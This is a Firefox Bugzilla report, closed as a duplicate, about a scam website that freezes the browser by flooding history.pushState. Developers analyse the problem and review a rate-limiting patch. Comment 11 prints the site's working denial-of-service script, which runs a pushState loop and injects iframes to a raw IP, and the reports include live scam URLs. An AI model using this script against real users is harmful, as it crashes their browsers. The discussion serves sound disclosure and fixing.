Closed
Bug 1380305
Opened 8 years ago
Closed 8 years ago
Malicious website causes unlimited locationchange messages to DoS parent process
Categories
(Core :: DOM: Core & HTML, defect, P2)
Tracking
()
RESOLVED
DUPLICATE
of bug 1314912
People
(Reporter: wulf.nrw, Assigned: freesamael)
References
(Blocks 1 open bug)
Details
(Keywords: csectype-dos, sec-low, Whiteboard: DUPEME)
Attachments
(3 files)
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Build ID: 20170711030203
Steps to reproduce:
I got an Pop-Up from following site (Dont click unless in safe environment) http://www.supportgeeks1.stream/firefox/index.html
Actual results:
The Website actually does only one thing, it opens unlimited new tabs to overload the whole system and shows signs of phishing attempts. I know that this isnt really a bug, but this should prevented under any costs.
Expected results:
A site should not be able to open unlimited tabs.
Comment 1•8 years ago
|
||
(In reply to wulf.nrw from comment #0)
> A site should not be able to open unlimited tabs.
Agreed. pretty sure we already have a bug on this.
Component: Activity Streams: General → General
Keywords: csectype-dos,
dupeme
Updated•8 years ago
|
Component: General → Security
Comment 2•8 years ago
|
||
This probably doesn't belong in the "security" component but rather the component corresponding to whatever prevents unwanted popups (I don't know what component that would be, though).
Component: Security → Untriaged
Comment 3•8 years ago
|
||
Moving to Dom:Security. If there's a better component, all ears. :)
Component: Untriaged → DOM: Security
Product: Firefox → Core
Comment 4•8 years ago
|
||
Why isn't the dom.popup_maximum pref (currently an overly-generous "20") not being honored?
Popup blocker is part of DOM, or maybe the front-end.
Assignee | ||
Comment 7•8 years ago
|
||
The website in comment 0 is no longer accessible. I tried to do something similar http://window-popup.herokuapp.com but it would just stop after opened 20 new tabs.
Is there any clue on how the website opened popups?
Flags: needinfo?(sawang)
Well, since the bug I reported (1394281) is considered a duplicate of this one (despite opening one popup only), here's one example I found :
http://win-help-1207.s3-accelerate.amazonaws.com/index.html?n=01%2082%2088%2083%2050&s=331&eda=vNbLnW87Waee8wwkHd1iGhp9HdcpHJl%2BF2%2FIx27LYjUbM2XXnTbL%2BNM63VFTXtDHX2sXsvQrHrhbIFwAv6a1eiKYBkZuFUYLDAChHghQY5mQj6nCSCevBvnGVQ1tV5pVqp%2BY9l%2FLPK3lEyYppKGD2mWB%2BOVrHVQc%2Brd8ZtauiHD0jcY%2BLW3AWEu%2Fnc%2FGJRhAzdqTp4qV8nCS%2B7V2q0lqIXhoElkceh9RM0nf1JkhpuPOi4MWqtXC1WfWviNXabtCM4LViGHDy%2FtvE1iIcpZ6WJzC%2FziigjiCs%2BJN3G%2FqdkzdJNbe9gLUzGqtEDqv2%2B8BFMgkoeG5mMtJeH7A230ZbyZoFQehuooiUS0q%2B3GXKTed136y64NFaG7zd84KDuP6mGcZ9uqY9s2g0%2FbkSR%2BB9%2FRDFuei%2BKZDcdH8HIJJlP5g%2Bl1HRF5pxxGIOtnTaink2%2FLTFj3L9Tu5umT39tX9Fv57KiRYvUy17REbDBzuA4AUSEa0xGZOJGKpNFmI9o5VEpPRN264a2kdAjo7yR95MMx6VppVPjDgDI1Z5PaiByQOY7eUsKdfswx0JqEOGtKky53mmGSGkoOgJmG9D3UcZ43vrhrtk6NxvmAb2RNWGz4%3D
Usual behaviour, visits many web pages (look at history) eats all available memory. Now I systematically start FF with a 4GiB system on max committed memory, just to be sure.
Hope this helps !
You have to click "OK" on this one for the bug to reveal, otherwise it's possible to just close the tab, with seemingly no harm done. I've seen other more agressive versions though...
Assignee | ||
Comment 10•8 years ago
|
||
(In reply to NovHak from comment #8)
> Well, since the bug I reported (1394281) is considered a duplicate of this
> one (despite opening one popup only), here's one example I found :
>
> http://win-help-1207.s3-accelerate.amazonaws.com/index.
> html?n=01%2082%2088%2083%2050&s=331&eda=vNbLnW87Waee8wwkHd1iGhp9HdcpHJl%2BF2%
> 2FIx27LYjUbM2XXnTbL%2BNM63VFTXtDHX2sXsvQrHrhbIFwAv6a1eiKYBkZuFUYLDAChHghQY5mQ
> j6nCSCevBvnGVQ1tV5pVqp%2BY9l%2FLPK3lEyYppKGD2mWB%2BOVrHVQc%2Brd8ZtauiHD0jcY%2
> BLW3AWEu%2Fnc%2FGJRhAzdqTp4qV8nCS%2B7V2q0lqIXhoElkceh9RM0nf1JkhpuPOi4MWqtXC1W
> fWviNXabtCM4LViGHDy%2FtvE1iIcpZ6WJzC%2FziigjiCs%2BJN3G%2FqdkzdJNbe9gLUzGqtEDq
> v2%2B8BFMgkoeG5mMtJeH7A230ZbyZoFQehuooiUS0q%2B3GXKTed136y64NFaG7zd84KDuP6mGcZ
> 9uqY9s2g0%2FbkSR%2BB9%2FRDFuei%2BKZDcdH8HIJJlP5g%2Bl1HRF5pxxGIOtnTaink2%2FLTF
> j3L9Tu5umT39tX9Fv57KiRYvUy17REbDBzuA4AUSEa0xGZOJGKpNFmI9o5VEpPRN264a2kdAjo7yR
> 95MMx6VppVPjDgDI1Z5PaiByQOY7eUsKdfswx0JqEOGtKky53mmGSGkoOgJmG9D3UcZ43vrhrtk6N
> xvmAb2RNWGz4%3D
>
> Usual behaviour, visits many web pages (look at history) eats all available
> memory. Now I systematically start FF with a 4GiB system on max committed
> memory, just to be sure.
>
> Hope this helps !
The experience was terrible. I'm going to look at this.
Assignee: nobody → sawang
Assignee | ||
Comment 11•8 years ago
|
||
Suspicious code snippet:
document.getElementById('auth').innerHTML += "<iframe src='http://52.59.224.163/' ></iframe>";
setInterval(function () {
var total = "";
for( var i = 0; i < 100000; i++ ) {
total = total + i.toString();
history.pushState(0,0, total );
}
document.getElementById('auth').innerHTML += "<iframe src='http://52.59.224.163/' ></iframe>";
}, 900);
Assignee | ||
Comment 12•8 years ago
|
||
I'm marking this as a security bug since the code snippet I revealed above can make my Linux PC hang after a while and I have to force reboot.
Group: core-security
Assignee | ||
Comment 13•8 years ago
|
||
Hi Olli, do you think it would be reasonable to put a limit on pushState to prevent pushState flooding in comment 11? Or is there other suggestions on how we should handle this?
I found the pushState flooding generates infinite locationchange to parent process. It almost immediately makes Firefox UI being unresponding, and after a while the parent process would eat up 10GB+ and make my PC hangs.
Flags: needinfo?(bugs)
Comment 14•8 years ago
|
||
Why parent process eats so much memory? Is that about session store? Session store could have some limit, I guess, but not sure why session history itself should have a limit.
Flags: needinfo?(bugs)
Comment 15•8 years ago
|
||
(In reply to Samael Wang [:freesamael] from comment #11)
> Suspicious code snippet:
> .../...
So that's where it appends increasing numbers to the URL in history. No need to reach 100000 however, my browser crosses the 4 GiB limit hence crashes at less than 300...
I've made a quick and dirty Powershell script (attached) limiting the maximum committed memory per process (for a set of chosen processes) to 4 GiB using Windows Job Objects. Most of you must be lucky enough to use Linux and have setrlimit(2), and ulimit(1) on the command line, but maybe some Windows users will find it useful.
How to use the script : launch in a Powershell window (no need to dot-source).
Effect : The Powershell process will be limited to 4 GiB of committed memory, as well as its child processes. Hence programs have to be launched from this shell for the limit to apply.
More technically, a job object defining the memory limit is created with its descriptor remaining open in the shell process, and the shell process joins the job object (JO). Child processes inherit the descriptor and are automatically members of the JO too. Defined limits are enforced upon JO members by the system. Once all descriptors to the JO have been closed, the JO is deleted and its limits are lifted.
Beware, in case of a FF crash, Mozilla's Crash Reporter doesn't inherit membership of the JO for some reason, hence choosing restart from there will start a non-limited FF. Better quit and restart from the shell, provided you kept it open, which I advise.
You can check JO membership and associated limits with Mark Russinovitch's Process Explorer, from the Sysinternals suite : in the process properties window, there's a Job tab if the process is member of a job, that shows the enforced limits.
HTH,
Assignee | ||
Comment 16•8 years ago
|
||
(In reply to Olli Pettay [:smaug] from comment #14)
> Why parent process eats so much memory? Is that about session store? Session
> store could have some limit, I guess, but not sure why session history
> itself should have a limit.
about:memory shows most of them were "heap-unclassified", so I tried a DMD build instead. I captured a DMD output on opening a page with 10,000 pushState, and it seems memory were mostly occupied by URLs.
Likely the URLs generated here
http://searchfox.org/mozilla-central/rev/31606bbabc50b08895d843b9f5f3da938ccdfbbf/toolkit/modules/RemoteWebProgress.jsm#251
As the profile shows most CPU time of the parent process were spending on handling "Content:LocationChange" https://perfht.ml/2xBEHyx
Consider the malicious code keeps appending numbers to the URLs, 100,000 pushState would generate a lot of super long URLs.
Unreported {
6,801 blocks in heap block record 1 of 5,822
256,894,016 bytes (256,894,016 requested / 0 slop)
Individual block sizes: 65,536 x 1,793; 32,768 x 4,096; 16,384 x 261; 2,048 x 330; 1,024 x 166; 512 x 72; 256 x 28; 128 x 10; 64 x 45
31.92% of the heap (31.92% cumulative)
86.60% of unreported (86.60% cumulative)
Allocated at {
#01: nsStringBuffer::Alloc(unsigned long) (/home/freesamael/Repos/gecko-unified/xpcom/string/nsSubstring.cpp:238)
#02: already_AddRefed<nsStringBuffer>::take() (/home/freesamael/Repos/build/obj-firefox-icecc/dist/include/mozilla/AlreadyAddRefed.h:121)
#03: nsTSubstring<char>::SetCapacity(unsigned int, mozilla::fallible_t const&) (/home/freesamael/Repos/gecko-unified/xpcom/string/nsTSubstring.cpp:726)
#04: nsTSubstring<char>::SetLength(unsigned int, mozilla::fallible_t const&) (/home/freesamael/Repos/gecko-unified/xpcom/string/nsTSubstring.cpp:766)
#05: mozilla::net::nsStandardURL::BuildNormalizedSpec(char const*, mozilla::Encoding const*) (/home/freesamael/Repos/gecko-unified/netwerk/base/nsStandardURL.cpp:911)
#06: mozilla::net::nsStandardURL::SetSpecWithEncoding(nsTSubstring<char> const&, mozilla::Encoding const*) (/home/freesamael/Repos/gecko-unified/netwerk/base/nsStandardURL.cpp:1742)
#07: mozilla::net::nsStandardURL::Init(unsigned int, int, nsTSubstring<char> const&, char const*, nsIURI*) (/home/freesamael/Repos/gecko-unified/netwerk/base/nsStandardURL.cpp:3478)
#08: mozilla::net::NewURI(nsTSubstring<char> const&, char const*, nsIURI*, int, nsIURI**) (/home/freesamael/Repos/gecko-unified/netwerk/protocol/http/nsHttpHandler.cpp:133 (discriminator 2))
}
}
Updated•8 years ago
|
Group: core-security → dom-core-security
Assignee | ||
Comment 17•8 years ago
|
||
FWIW, Chromium has a similar pushState DoS bug,
https://bugs.chromium.org/p/chromium/issues/detail?id=394296
and they came up with a patch to throttle pushState
https://codereview.chromium.org/2972073002
I'm still thinking if there's a better way to handle this. CC'ing :bz in case he has some thoughts.
Assignee | ||
Updated•8 years ago
|
Summary: Malicious website generates unlimited new tabs to overload system → Malicious website causes unlimited locationchange messages to DoS parent process
Assignee | ||
Comment 18•8 years ago
|
||
Edge suffers from the same symptom as Firefox. UI becomes unresponsive and memory usage grows rapidly. What's interesting was that after I closed Edge and reopen it again, Edge told me that 10.247.28.92 (which is the machine I used to test this pushState flooding) "has been reported as unsafe".
Safari is even more aggressive than Chrome by throwing
"SecurityError (DOM Exception 18): Attempt to use history.pushState() more than 100 times per 30.000000 seconds":
https://github.com/WebKit/webkit/blob/master/Source/WebCore/page/History.cpp#L168
I'm slightly convinced that we should put a limit on putState / replaceState.
Assignee | ||
Comment 19•8 years ago
|
||
Assignee | ||
Comment 20•8 years ago
|
||
Comment on attachment 8933582 [details] [diff] [review]
Throw a error if web content uses history.pushState / history.replaceState too freqently
Safari limits to 100 push/replaceState in 30s; Chrome limits to 50 push/replaceState in 10s. I'm taking 50 in 10s, too.
Attachment #8933582 -
Flags: review?(bzbarsky)
Assignee | ||
Comment 21•8 years ago
|
||
I've been thinking if we can have a long-term strategy to prevent child process from DoS chrome process, but I'm not familiar with the IPC stuff enough to come up with a proposal.
Comment 22•8 years ago
|
||
Sorry for the lag here, but I finally got a chance to read through this and think about it.
Fundamentally, how is this worse than doing a whole bunch of |location.hash = Math.random() + total| in the sort of script comment 11 has, in terms of ever-growing session history and urls in the parent process?
Now there _is_ one significant difference, which is that the pushState calls could be passing large state data too. But the ones here are not.
Is the real difference that people are maliciously abusing pushState but not anchor navigations? Because we can certainly throttle pushState, and then they will just switch targets, I would think....
In any case, if we plan to introduce a spec deviation here, and if everyone else has similar deviations, seems like we should raise an HTML spec issue.
As far as long-term strategy, the chrome process could simply throttle IPC processing from a given content process, I would think...
Comment 23•8 years ago
|
||
Comment on attachment 8933582 [details] [diff] [review]
Throw a error if web content uses history.pushState / history.replaceState too freqently
>+#define ADD_STATE_THROTTLE_TIME_SPAN_SEC 10
Might be worth making this a pref. That way if this breaks someone's site at least users have a workaround by raising this number.
>+nsHistory::PushOrReplaceStateAllowed() {
Newline before '{'.
The algorithm in this function is bit nondeterministic from the point of view of a web page. It might be able to do 98 pushstate calls in a given 10-second period (do one call, wait 9.5 seconds, do 48 calls, wait one second, do 49 calls, for a total of 97 calls in a period starting 5s after that first call). Or it might not, depending on exactly how its calls align with the timer. That might be OK, as long as we're very clear in our documentation, but seems like it could lead to pages that randomly work some times but not others... Is this basically the algorithm Chrome and Safari are using?
>+ NS_LITERAL_CSTRING("history.pushState / history.replaceState are called too freqently."));
"are being called"
Is this a problem for replaceState too, not just pushState? I guess that would still have the IPC traffic, but not the nonstop growth in data we need to store in the parent process, right?
>+ bool PushOrReplaceStateAllowed();
Document.
r=me modulo the above issues and the concerns in comment 22.
Attachment #8933582 -
Flags: review?(bzbarsky) → review+
Assignee | ||
Comment 24•8 years ago
|
||
CC'ing Nika. I just realized Nika is working on the same stuff in bug 1314912 (and we got a few duplicated bugs).
Comment 25•8 years ago
|
||
Given the other bug is open, and much older, I think we should open this one up and dup to the other...
Assignee | ||
Updated•8 years ago
|
Status: NEW → RESOLVED
Closed: 8 years ago
Resolution: --- → DUPLICATE
Updated•7 years ago
|
Component: DOM → DOM: Core & HTML
Updated•5 years ago
|
Group: dom-core-security
You need to log in
before you can comment on or make changes to this bug.
Description
•